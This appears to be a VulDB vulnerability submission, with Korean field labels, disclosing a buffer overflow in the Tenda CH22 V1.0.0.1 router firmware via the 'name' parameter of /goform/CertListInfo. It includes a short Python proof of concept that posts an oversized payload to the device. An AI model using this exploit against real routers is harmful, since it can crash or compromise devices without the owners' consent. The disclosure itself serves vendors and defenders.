| 제목 | Tenda CH22 V1.0.0.1 Buffer Overflow |
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| 설명 | ## Overview
- Firmware download website: https://www.tenda.com.cn/download/2230
## Affected version
CH22 V1.0.0.1
## Vulnerability details
The Tenda CH22 V1.0.0.1 firmware has a buffer overflow vulnerability in the `formCertListInfo` function. The `V12` variable receives the `name` parameter from a POST request and is later passed to the `sprintf` function. However, since the user can control the input of `name` , the statement `sprintf(s, "/etc/cert/%s", v12);` can cause a buffer overflow.
##PoC
import requests
ip = "192.168.1.1"
url = f'http://{ip}/goform/CertListInfo'
payload = b'a' * 1000
data = {
'name':payload
}
requests.post(url, data=data) |
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| 원천 | ⚠️ https://candle-throne-f75.notion.site/Tenda-CH22-formCertListInfo-377df0aa11858088aabaeb0f5e1909c9 |
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| 사용자 | ysnysn0121 (UID 86198) |
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| 제출 | 2026. 06. 10. PM 03:17 (1 월 ago) |
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| 모더레이션 | 2026. 07. 12. PM 08:14 (1 month later) |
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| 상태 | 수락 |
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| VulDB 항목 | 377893 [Tenda CH22 1.0.0.1 /goform/CertListInfo formCertListInfo 이름 메모리 손상] |
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| 포인트들 | 17 |
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